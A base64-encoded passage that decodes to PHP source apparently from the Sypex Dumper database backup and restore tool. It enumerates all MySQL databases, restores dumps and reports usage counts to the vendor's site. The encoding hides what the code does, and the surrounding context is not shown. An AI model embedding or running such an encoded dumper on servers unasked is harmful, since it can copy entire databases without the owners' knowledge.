ICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5mb3JjZWRfY2hhcnNldCAmJiAkY2hhcnNldFsyXSAhPSAkbGFzdF9jaGFyc2V0KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChDSEFSU0VUID09ICdhdXRvJykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG15c3FsX3F1ZXJ5KCJTRVQgTkFNRVMgJyIgLiAkY2hhcnNldFsyXSAuICInIikgb3IgdHJpZ2dlcl9lcnJvciAoItCd0LXRg9C00LDQtdGC0YHRjyDQuNC30LzQtdC90LjRgtGMINC60L7QtNC40YDQvtCy0LrRgyDRgdC+0LXQtNC40L3QtdC90LjRjy48QlI+eyRzcWx9PEJSPiIgLiBteXNxbF9lcnJvcigpLCBFX1VTRVJfRVJST1IpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjYWNoZSAuPSB0cGxfbCgi0KPRgdGC0LDQvdC+0LLQu9C10L3QsCDQutC+0LTQuNGA0L7QstC60LAg0YHQvtC10LTQuNC90LXQvdC40Y8gYCIgLiAkY2hhcnNldFsyXSAuICJgLiIsIENfV0FSTklORyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxhc3RfY2hhcnNldCA9ICRjaGFyc2V0WzJdOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNhY2hlIC49IHRwbF9sKCfQmtC+0LTQuNGA0L7QstC60LAg0YHQvtC10LTQuNC90LXQvdC40Y8g0Lgg0YLQsNCx0LvQuNGG0Ysg0L3QtSDRgdC+0LLQv9Cw0LTQsNC10YI6JywgQ19FUlJPUik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNhY2hlIC49IHRwbF9sKCfQotCw0LHQu9C40YbQsCBgJy4gJHRhYmxlIC4nYCAtPiAnIC4gJGNoYXJzZXRbMl0gLiAnICjRgdC+0LXQtNC40L3QtdC90LjQtSAnICAuICR0aGlzLT5yZXN0b3JlX2NoYXJzZXQgLiAnKScsIENfRVJST1IpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyDQnNC10L3Rj9C10Lwg0LrQvtC00LjRgNC+0LLQutGDINC10YHQu9C4INGD0LrQsNC30LDQvdC+INGE0L7RgNGB0LjRgNC+0LLQsNGC0Ywg0LrQvtC00LjRgNC+0LLQutGDCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmZvcmNlZF9jaGFyc2V0KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSBwcmVnX3JlcGxhY2UoIi8oXC9cKiFcZCtccyk/KChDT0xMQVRFKVs9XHNdKylcdysoXHMrXCpcLyk/L2kiLCAnJywgJHNxbCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSBwcmVnX3JlcGxhY2UoIi8oKENIQVJBQ1RFUiBTRVR8Q0hBUlNFVClbPVxzXSspXHcrL2kiLCAiXFwxIiAuICR0aGlzLT5yZXN0b3JlX2NoYXJzZXQgLiAkdGhpcy0+cmVzdG9yZV9jb2xsYXRlLCAkc3FsKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKENIQVJTRVQgPT0gJ2F1dG8nKXsgLy8g0JLRgdGC0LDQstC70Y/QtdC8INC60L7QtNC40YDQvtCy0LrRgyDQtNC70Y8g0YLQsNCx0LvQuNGGLCDQtdGB0LvQuCDQvtC90LAg0L3QtSDRg9C60LDQt9Cw0L3QsCDQuCDRg9GB0YLQsNC90L7QstC70LXQvdCwIGF1dG8g0LrQvtC00LjRgNC+0LLQutCwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsIC49ICcgREVGQVVMVCBDSEFSU0VUPScgLiAkdGhpcy0+cmVzdG9yZV9jaGFyc2V0IC4gJHRoaXMtPnJlc3RvcmVfY29sbGF0ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+cmVzdG9yZV9jaGFyc2V0ICE9ICRsYXN0X2NoYXJzZXQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXlzcWxfcXVlcnkoIlNFVCBOQU1FUyAnIiAuICR0aGlzLT5yZXN0b3JlX2NoYXJzZXQgLiAiJyIpIG9yIHRyaWdnZXJfZXJyb3IgKCLQndC10YPQtNCw0LXRgtGB0Y8g0LjQt9C80LXQvdC40YLRjCDQutC+0LTQuNGA0L7QstC60YMg0YHQvtC10LTQuNC90LXQvdC40Y8uPEJSPnskc3FsfTxCUj4iIC4gbXlzcWxfZXJyb3IoKSwgRV9VU0VSX0VSUk9SKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNhY2hlIC49IHRwbF9sKCLQo9GB0YLQsNC90L7QstC70LXQvdCwINC60L7QtNC40YDQvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyBgIiAuICR0aGlzLT5yZXN0b3JlX2NoYXJzZXQgLiAiYC4iLCBDX1dBUk5JTkcpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGFzdF9jaGFyc2V0ID0gJHRoaXMtPnJlc3RvcmVfY2hhcnNldDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRsYXN0X3Nob3dlZCAhPSAkdGFibGUpIHskY2FjaGUgLj0gdHBsX2woItCi0LDQsdC70LjRhtCwIGB7JHRhYmxlfWAuIik7ICRsYXN0X3Nob3dlZCA9ICR0YWJsZTt9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoJHRoaXMtPm15c3FsX3ZlcnNpb24gPiA0MDEwMSAmJiBlbXB0eSgkbGFzdF9jaGFyc2V0KSkgeyAvLyDQo9GB0YLQsNC90LDQstC70LjQstCw0LXQvCDQutC+0LTQuNGA0L7QstC60YMg0L3QsCDRgdC70YPRh9Cw0Lkg0LXRgdC70Lgg0L7RgtGB0YPRgtGB0YLQstGD0LXRgiBDUkVBVEUgVEFCTEUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbXlzcWxfcXVlcnkoIlNFVCAkdGhpcy0+cmVzdG9yZV9jaGFyc2V0ICciIC4gJHRoaXMtPnJlc3RvcmVfY2hhcnNldCAuICInIikgb3IgdHJpZ2dlcl9lcnJvciAoItCd0LXRg9C00LDQtdGC0YHRjyDQuNC30LzQtdC90LjRgtGMINC60L7QtNC40YDQvtCy0LrRgyDRgdC+0LXQtNC40L3QtdC90LjRjy48QlI+eyRzcWx9PEJSPiIgLiBteXNxbF9lcnJvcigpLCBFX1VTRVJfRVJST1IpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCLQo9GB0YLQsNC90L7QstC70LXQvdCwINC60L7QtNC40YDQvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyBgIiAuICR0aGlzLT5yZXN0b3JlX2NoYXJzZXQgLiAiYC4iLCBDX1dBUk5JTkcpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGFzdF9jaGFyc2V0ID0gJHRoaXMtPnJlc3RvcmVfY2hhcnNldDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgJGluc2VydCA9ICcnOwogICAgICAgICAgICAgICAgICAgICRleGVjdXRlID0gMTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkcXVlcnlfbGVuID49IDY1NTM2ICYmIHByZWdfbWF0Y2goIi8sJC8iLCAkc3RyKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gcnRyaW0oJGluc2VydCAuICRzcWwsICIsIik7CiAgICAgICAgICAgICAgICAgICAgJGV4ZWN1dGUgPSAxOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGV4ZWN1dGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHErKzsKICAgICAgICAgICAgICAgICAgICAgICAgbXlzcWxfcXVlcnkoJHNxbCkgb3IgdHJpZ2dlcl9lcnJvciAoIldyb25nIHF1ZXJyeS48QlI+IiAuIG15c3FsX2Vycm9yKCksIEVfVVNFUl9FUlJPUik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgiL15pbnNlcnQvaSIsICRzcWwpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYWZmX3Jvd3MgKz0gbXlzcWxfYWZmZWN0ZWRfcm93cygpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgJHF1ZXJ5X2xlbiA9IDA7CiAgICAgICAgICAgICAgICAgICAgICAgICRleGVjdXRlID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAkY2FjaGU7CiAgICAgICAgICAgICAgICBlY2hvIHRwbF9zKDEgLCAxKTsKICAgICAgICAgICAgICAgIGVjaG8gdHBsX2woc3RyX3JlcGVhdCgiLSIsIDYwKSk7CiAgICAgICAgICAgICAgICBlY2hvIHRwbF9sKCJEQiB3YXMgcmVzdG9yZWQgZnJvbSBiYWNrdXAuIiwgQ19SRVNVTFQpOwogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRpbmZvWzNdKSkgZWNobyB0cGxfbCgi0JTQsNGC0LAg0YHQvtC30LTQsNC90LjRjyDQutC+0L/QuNC4OiB7JGluZm9bM119IiwgQ19SRVNVTFQpOwogICAgICAgICAgICAgICAgZWNobyB0cGxfbCgiREIgcXVlcmllczogeyRxfSIsIENfUkVTVUxUKTsKICAgICAgICAgICAgICAgIGVjaG8gdHBsX2woIlRhYmxlcyB3YXMgY3JlYXRlZDogeyR0YWJzfSIsIENfUkVTVUxUKTsKICAgICAgICAgICAgICAgIGVjaG8gdHBsX2woItCh0YLRgNC+0Log0LTQvtCx0LDQstC70LXQvdC+OiB7JGFmZl9yb3dzfSIsIENfUkVTVUxUKTsKCiAgICAgICAgICAgICAgICAkdGhpcy0+dGFicyA9ICR0YWJzOwogICAgICAgICAgICAgICAgJHRoaXMtPnJlY29yZHMgPSAkYWZmX3Jvd3M7CiAgICAgICAgICAgICAgICAkdGhpcy0+c2l6ZSA9IGZpbGVzaXplKFBBVEggLiAkdGhpcy0+ZmlsZW5hbWUpOwogICAgICAgICAgICAgICAgJHRoaXMtPmNvbXAgPSAkdGhpcy0+U0VUWydjb21wX21ldGhvZCddICogMTAgKyAkdGhpcy0+U0VUWydjb21wX2xldmVsJ107CiAgICAgICAgICAgICAgICBlY2hvICI8U0NSSVBUPmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYWNrJykuZGlzYWJsZWQgPSAwOzwvU0NSSVBUPiI7CiAgICAgICAgICAgICAgICAvLyDQn9C10YDQtdC00LDRh9CwINC00LDQvdC90YvRhSDQtNC70Y8g0LPQu9C+0LHQsNC70YzQvdC+0Lkg0YHRgtCw0YLQuNGB0YLQuNC60LgKICAgICAgICAgICAgICAgIGlmIChHUykgZWNobyAiPFNDUklQVD5kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnR1MnKS5zcmMgPSAnaHR0cDovL3N5cGV4Lm5ldC9ncy5waHA/cj17JHRoaXMtPnRhYnN9LHskdGhpcy0+cmVjb3Jkc30seyR0aGlzLT5zaXplfSx7JHRoaXMtPmNvbXB9LDEwOCc7PC9TQ1JJUFQ+IjsKCiAgICAgICAgICAgICAgICAkdGhpcy0+Zm5fY2xvc2UoJGZwKTsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIG1haW4oKXsKICAgICAgICAgICAgICAgICR0aGlzLT5jb21wX2xldmVscyA9IGFycmF5KCc5JyA9PiAnOSAo0LzQsNC60YHQuNC80LDQu9GM0L3QsNGPKScsICc4JyA9PiAnOCcsICc3JyA9PiAnNycsICc2JyA9PiAnNicsICc1JyA9PiAnNSAo0YHRgNC10LTQvdGP0Y8pJywgJzQnID0+ICc0JywgJzMnID0+ICczJywgJzInID0+ICcyJywgJzEnID0+ICcxICjQvNC40L3QuNC80LDQu9GM0L3QsNGPKScsJzAnID0+ICfQkdC10Lcg0YHQttCw0YLQuNGPJyk7CgogICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygiYnpvcGVuIikpIHsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+Y29tcF9tZXRob2RzWzJdID0gJ0JaaXAyJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoImd6b3BlbiIpKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmNvbXBfbWV0aG9kc1sxXSA9ICdHWmlwJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR0aGlzLT5jb21wX21ldGhvZHNbMF0gPSAn0JHQtdC3INGB0LbQsNGC0LjRjyc7CiAgICAgICAgICAgICAgICBpZiAoY291bnQoJHRoaXMtPmNvbXBfbWV0aG9kcykgPT0gMSkgewogICAgICAgICAgICAgICAgICAgICR0aGlzLT5jb21wX2xldmVscyA9IGFycmF5KCcwJyA9PifQkdC10Lcg0YHQttCw0YLQuNGPJyk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgJGRicyA9ICR0aGlzLT5kYl9zZWxlY3QoKTsKICAgICAgICAgICAgICAgICR0aGlzLT52YXJzWydkYl9iYWNrdXAnXSAgICA9ICR0aGlzLT5mbl9zZWxlY3QoJGRicywgJHRoaXMtPlNFVFsnbGFzdF9kYl9iYWNrdXAnXSk7CiAgICAgICAgICAgICAgICAkdGhpcy0+dmFyc1snZGJfcmVzdG9yZSddICAgPSAkdGhpcy0+Zm5fc2VsZWN0KCRkYnMsICR0aGlzLT5TRVRbJ2xhc3RfZGJfcmVzdG9yZSddKTsKICAgICAgICAgICAgICAgICR0aGlzLT52YXJzWydjb21wX2xldmVscyddICA9ICR0aGlzLT5mbl9zZWxlY3QoJHRoaXMtPmNvbXBfbGV2ZWxzLCAkdGhpcy0+U0VUWydjb21wX2xldmVsJ10pOwogICAgICAgICAgICAgICAgJHRoaXMtPnZhcnNbJ2NvbXBfbWV0aG9kcyddID0gJHRoaXMtPmZuX3NlbGVjdCgkdGhpcy0+Y29tcF9tZXRob2RzLCAkdGhpcy0+U0VUWydjb21wX21ldGhvZCddKTsKICAgICAgICAgICAgICAgICR0aGlzLT52YXJzWyd0YWJsZXMnXSAgICAgICA9ICR0aGlzLT5TRVRbJ3RhYmxlcyddOwogICAgICAgICAgICAgICAgJHRoaXMtPnZhcnNbJ2ZpbGVzJ10gICAgICAgID0gJHRoaXMtPmZuX3NlbGVjdCgkdGhpcy0+ZmlsZV9zZWxlY3QoKSwgJycpOwogICAgICAgICAgICAgICAgZ2xvYmFsICRkdW1wZXJfZmlsZTsKICAgICAgICAgICAgICAgICRidXR0b25zID0gIjxJTlBVVCBUWVBFPXN1Ym1pdCBWQUxVRT1BcHBseT48SU5QVVQgVFlQRT1idXR0b24gVkFMVUU9RXhpdCBvbkNsaWNrPVwibG9jYXRpb24uaHJlZiA9ICciLiRkdW1wZXJfZmlsZS4iP3JlbG9hZCdcIj4iOwogICAgICAgICAgICAgICAgZWNobyB0cGxfcGFnZSh0cGxfbWFpbigpLCAkYnV0dG9ucyk7CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiBkYl9zZWxlY3QoKXsKICAgICAgICAgICAgICAgIGlmIChEQk5BTUVTICE9ICcnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRpdGVtcyA9IGV4cGxvZGUoJywnLCB0cmltKERCTkFNRVMpKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkaXRlbXMgQVMgJGl0ZW0pewogICAgICAgICAgICAgICAgICAgICAgICBpZiAobXlzcWxfc2VsZWN0X2RiKCRpdGVtKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0YWJsZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRVMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRhYmxlcykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGFicyA9IG15c3FsX251bV9yb3dzKCR0YWJsZXMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRic1skaXRlbV0gPSAieyRpdGVtfSAoeyR0YWJzfSkiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBEQVRBQkFTRVMiKTsKICAgICAgICAgICAgICAgICRkYnMgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSl7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChteXNxbF9zZWxlY3RfZGIoJGl0ZW1bMF0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRhYmxlcyA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFUyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdGFibGVzKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0YWJzID0gbXlzcWxfbnVtX3Jvd3MoJHRhYmxlcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGJzWyRpdGVtWzBdXSA9ICJ7JGl0ZW1bMF19ICh7JHRhYnN9KSI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAkZGJzOwogICAgICAgIH0KCiAgICAgICAgZnVuY3Rpb24gZmlsZV9zZWxlY3QoKXsKICAgICAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCcnID0+ICcgJyk7CiAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKFBBVEgpICYmICRoYW5kbGUgPSBvcGVuZGlyKFBBVEgpKSB7CiAgICAgICAgICAgIHdoaWxlIChmYWxzZSAhPT0gKCRmaWxlID0gcmVhZGRpcigkaGFuZGxlKSkpIHsKICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCIvXi4rP1wuc3FsKFwuKGd6fGJ6MikpPyQvIiwgJGZpbGUpKSB7CiAgICAgICAgICAgICAgICAgICAgJGZpbGVzWyRmaWxlXSA9ICRmaWxlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGNsb3NlZGlyKCRoYW5kbGUpOwogICAgICAgIH0KICAgICAgICBrc29ydCgkZmlsZXMpOwogICAgICAgICAgICAgICAgcmV0dXJuICRmaWxlczsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGZuX29wZW4oJG5hbWUsICRtb2RlKXsKICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+U0VUWydjb21wX21ldGhvZCddID09IDIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmZpbGVuYW1lID0gInskbmFtZX0uc3FsLmJ6MiI7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGJ6b3BlbihQQVRIIC4gJHRoaXMtPmZpbGVuYW1lLCAieyRtb2RlfWJ7JHRoaXMtPlNFVFsnY29tcF9sZXZlbCddfSIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZWlmICgkdGhpcy0+U0VUWydjb21wX21ldGhvZCddID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmZpbGVuYW1lID0gInskbmFtZX0uc3FsLmd6IjsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gZ3pvcGVuKFBBVEggLiAkdGhpcy0+ZmlsZW5hbWUsICJ7JG1vZGV9YnskdGhpcy0+U0VUWydjb21wX2xldmVsJ119Iik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlewogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZmlsZW5hbWUgPSAieyRuYW1lfS5zcWwiOwogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZm9wZW4oUEFUSCAuICR0aGlzLT5maWxlbmFtZSwgInskbW9kZX1iIik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiBmbl93cml0ZSgkZnAsICRzdHIpewogICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gPT0gMikgewogICAgICAgICAgICAgICAgICAgIGJ6d3JpdGUoJGZwLCAkc3RyKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2VpZiAoJHRoaXMtPlNFVFsnY29tcF9tZXRob2QnXSA9PSAxKSB7CiAgICAgICAgICAgICAgICAgICAgZ3p3cml0ZSgkZnAsICRzdHIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZXsKICAgICAgICAgICAgICAgICAgICAgICAgZndyaXRlKCRmcCwgJHN0cik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiBmbl9yZWFkKCRmcCl7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPlNFVFsnY29tcF9tZXRob2QnXSA9PSAyKSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGJ6cmVhZCgkZnAsIDQwOTYpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZWlmICgkdGhpcy0+U0VUWydjb21wX21ldGhvZCddID09IDEpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gZ3pyZWFkKCRmcCwgNDA5Nik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZnJlYWQoJGZwLCA0MDk2KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGZuX3JlYWRfc3RyKCRmcCl7CiAgICAgICAgICAgICAgICAkc3RyaW5nID0gJyc7CiAgICAgICAgICAgICAgICAkdGhpcy0+ZmlsZV9jYWNoZSA9IGx0cmltKCR0aGlzLT5maWxlX2NhY2hlKTsKICAgICAgICAgICAgICAgICRwb3MgPSBzdHJwb3MoJHRoaXMtPmZpbGVfY2FjaGUsICJcbiIsIDApOwogICAgICAgICAgICAgICAgaWYgKCRwb3MgPCAxKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICghJHN0cmluZyAmJiAoJHN0ciA9ICR0aGlzLT5mbl9yZWFkKCRmcCkpKXsKICAgICAgICAgICAgICAgICAgICAgICAgJHBvcyA9IHN0cnBvcygkc3RyLCAiXG4iLCAwKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRwb3MgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZmlsZV9jYWNoZSAuPSAkc3RyOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHN0cmluZyA9ICR0aGlzLT5maWxlX2NhY2hlIC4gc3Vic3RyKCRzdHIsIDAsICRwb3MgKyAxKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZmlsZV9jYWNoZSA9IHN1YnN0cigkc3RyLCAkcG9zICsgMSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkc3RyKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmZpbGVfY2FjaGUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzdHJpbmcgPSAkdGhpcy0+ZmlsZV9jYWNoZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5maWxlX2NhY2hlID0gJyc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiB0cmltKCRzdHJpbmcpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzdHJpbmcgPSBzdWJzdHIoJHRoaXMtPmZpbGVfY2FjaGUsIDAsICRwb3MpOwogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+ZmlsZV9jYWNoZSA9IHN1YnN0cigkdGhpcy0+ZmlsZV9jYWNoZSwgJHBvcyArIDEpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIHRyaW0oJHN0cmluZyk7CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiBmbl9jbG9zZSgkZnApewogICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5TRVRbJ2NvbXBfbWV0aG9kJ10gPT0gMikgewogICAgICAgICAgICAgICAgICAgIGJ6Y2xvc2UoJGZwKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2VpZiAoJHRoaXMtPlNFVFsnY29tcF9tZXRob2QnXSA9PSAxKSB7CiAgICAgICAgICAgICAgICAgICAgZ3pjbG9zZSgkZnApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZXsKICAgICAgICAgICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBAY2htb2QoUEFUSCAuICR0aGlzLT5maWxlbmFtZSwgMDY2Nik7CiAgICAgICAgICAgICAgICAkdGhpcy0+Zm5faW5kZXgoKTsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGZuX3NlbGVjdCgkaXRlbXMsICRzZWxlY3RlZCl7CiAgICAgICAgICAgICAgICAkc2VsZWN0ID0gJyc7CiAgICAgICAgICAgICAgICBmb3JlYWNoKCRpdGVtcyBBUyAka2V